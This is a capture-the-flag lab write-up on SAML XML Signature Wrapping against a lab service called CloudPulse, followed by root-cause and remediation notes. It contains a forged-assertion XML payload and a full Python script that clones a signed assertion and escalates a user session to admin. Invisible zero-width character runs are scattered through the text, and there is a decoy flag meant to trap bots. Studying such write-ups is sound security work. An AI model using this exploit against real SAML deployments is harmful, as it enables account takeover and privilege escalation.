← Back to Writeups
CUSTOMMediumWeb

Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency

XESXOR9/2/20265 min read
#web#custom#medium#assertion_cloning#role_escalation#saml_response_capture#xml_signature_wrapping

Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: assertion_cloning, role_escalation, saml_response_capture, xml_signature_wrapping

Summary

Walkthrough of the CUSTOM Web Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency. Task: CloudPulse uses SAML SSO with inconsistent XML node selection during signature validation and claim extraction. Solution: prepend an unsigned admin assertion to a valid signed user response, the

Description

Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency

CloudPulse provides a built-in SAML identity provider. The supplied credentials user@test.com / password123 produce a legitimate signed SAML response, and the goal is to escalate that user session to the administrator role.

The unauthenticated initial page also contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}. This was an explicit decoy and was ignored; the verified flag was obtained from /admin after exploitation. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

The challenge title points directly to XML Signature Wrapping (XSW) and a dual-parser inconsistency. A valid login supplied a response containing one signed <saml:Assertion> with these claims:

  • email: user@test.com
  • display name: Sarah Mitchell
  • role: user

The XML signature references that assertion by its ID. This creates an opportunity if signature verification resolves the referenced, signed assertion while the application later extracts identity data from a positional selection such as the first <saml:Assertion>. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The successful payload therefore contained two sibling assertions in this order:

xml
<samlp:Response ...>
  <samlp:Status>...</samlp:Status>

  <!-- First: attacker-controlled and unsigned -->
  <saml:Assertion ID="_admin_<fresh UUID>" ...>
    ...
    <saml:NameID>admin@cloudpulse.local</saml:NameID>
    ...
    <saml:Attribute Name="displayName">
      <saml:AttributeValue>CloudPulse Administrator</saml:AttributeValue>
    </saml:Attribute>
    <saml:Attribute Name="role">
      <saml:AttributeValue>admin</saml:AttributeValue>
    </saml:Attribute>
  </saml:Assertion>
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  <!-- Second: original signed assertion, byte-for-byte unchanged -->
  <saml:Assertion ID="_original_id" ...>
    <ds:Signature>
      <ds:SignedInfo>
        <ds:Reference URI="#_original_id">...</ds:Reference>
      </ds:SignedInfo>
      ...
    </ds:Signature>
    ...user@test.com / role=user...
  </saml:Assertion>
</samlp:Response>

The service accepted this structure. The verifier validated the untouched legitimate assertion, but application claim extraction consumed the first assertion and created an administrator session. No duplicate IDs or nested assertions were required. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

  1. Use one requests.Session and request /sso/saml/login, following the redirect to the built-in IdP.
  2. Authenticate to /idp/sso as user@test.com with password123.
  3. Extract and Base64-decode the legitimate SAMLResponse from the returned HTML form.
  4. Clone the signed assertion and remove <ds:Signature> from the clone.
  5. Give the clone a fresh ID and replace the user identity, display name, and role with the administrator values.
  6. Prepend the unsigned clone before the untouched signed user assertion.
  7. Base64-encode the modified response and submit it to /sso/saml/acs with RelayState=/dashboard, preserving the same HTTP session.
  8. The ACS returns 302 Location: /dashboard. Requesting /admin in that session returns HTTP 200 and the real flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Reproducible exploit

python
#!/usr/bin/env python3
import base64
import html
import re
import sys
import uuid

import requests

TARGET = "https://f2115d66-de3b-4ac3-8157-f6632a68ab32.labs.hackadvisor.io"


def obtain_signed_response():
    session = requests.Session()
    response = session.get(
        TARGET + "/sso/saml/login",
        allow_redirects=True,
        timeout=15,
        verify=False,
    )
    if response.status_code == 403:
        raise SystemExit("Lab instance expired (HTTP 403)")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    response = session.post(
        TARGET + "/idp/sso",
        data={"email": "user@test.com", "password": "password123"},
        timeout=15,
        verify=False,
    )
    match = re.search(r'name="SAMLResponse" value="([^"]+)"', response.text)
    if not match:
        raise RuntimeError("The IdP response did not contain SAMLResponse")

    encoded = html.unescape(match.group(1))
    return session, base64.b64decode(encoded).decode()


def first_assertion(xml):
    match = re.search(
        r'(<saml:Assertion\b.*?</saml:Assertion>)', xml, flags=re.S
    )
    if not match:
        raise RuntimeError("No SAML Assertion found")
    return match.group(1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def make_unsigned_admin_clone(signed_assertion):
    clone = re.sub(
        r'\s*<ds:Signature\b.*?</ds:Signature>',
        '',
        signed_assertion,
        flags=re.S,
    )
    clone = re.sub(
        r'ID="[^"]+"',
        'ID="_admin_' + uuid.uuid4().hex + '"',
        clone,
        count=1,
    )
    clone = clone.replace('user@test.com', 'admin@cloudpulse.local')
    clone = clone.replace('Sarah Mitchell', 'CloudPulse Administrator')
    clone = clone.replace(
        '<saml:AttributeValue>user</saml:AttributeValue>',
        '<saml:AttributeValue>admin</saml:AttributeValue>',
    )
    return clone
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


def main():
    session, original_xml = obtain_signed_response()
    signed_assertion = first_assertion(original_xml)
    admin_assertion = make_unsigned_admin_clone(signed_assertion)

    # Preserve the signed assertion exactly; insert the unsigned clone first.
    payload = original_xml.replace(
        signed_assertion,
        admin_assertion + "\n" + signed_assertion,
        1,
    )

    acs = session.post(
        TARGET + "/sso/saml/acs",
        data={
            "SAMLResponse": base64.b64encode(payload.encode()).decode(),
            "RelayState": "/dashboard",
        },
        allow_redirects=False,
        timeout=15,
        verify=False,
    )
    print("ACS:", acs.status_code, acs.headers.get("Location"))
    if acs.status_code not in (301, 302, 303, 307, 308):
        raise RuntimeError("The wrapped SAML response was rejected")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    admin = session.get(TARGET + "/admin", timeout=15, verify=False)
    print("/admin:", admin.status_code)
    flags = [
        value
        for value in re.findall(r'FLAG\{[^}]+\}', admin.text)
        if "d3c0y" not in value
    ]
    if not flags:
        raise RuntimeError("No real flag found in the admin response")
    print(flags[0])


if __name__ == "__main__":
    requests.packages.urllib3.disable_warnings()
    try:
        main()
    except Exception as error:
        print("error:", error, file=sys.stderr)
        raise

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Observed successful result:

text
ACS: 302 /dashboard
/admin: 200
FLAG{REDACTED}

Root Cause

The SAML consumer does not bind authorization claim extraction to the exact XML element whose signature was validated. Signature verification follows the legitimate assertion's ID reference, while the application selects the first assertion for identity and role extraction. An attacker can therefore preserve a valid signature over benign claims while introducing unsigned privileged claims elsewhere in the same document. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Remediation

  • Reject responses containing an unexpected number of assertions or ambiguous assertion structures.
  • Resolve the signature reference securely, validate exactly one expected assertion, and pass that same validated node directly to claim processing.
  • Never run a second broad XPath query such as //Assertion[1] after verification.
  • Enforce unique XML IDs and reject duplicate, nested, or otherwise ambiguous signed elements.
  • Validate issuer, audience, destination, recipient, time conditions, InResponseTo, and signature trust on the selected assertion.
  • Use a maintained SAML library configured with secure node-selection and wrapping-attack protections. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering assertion_cloning, role_escalation, saml_response_capture, xml_signature_wrapping was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-07-16 • CUSTOM • Lab 274 — CloudPulse — SAML XML Signature Wrapping via Dual-Parser Inconsistency • Difficulty: Medium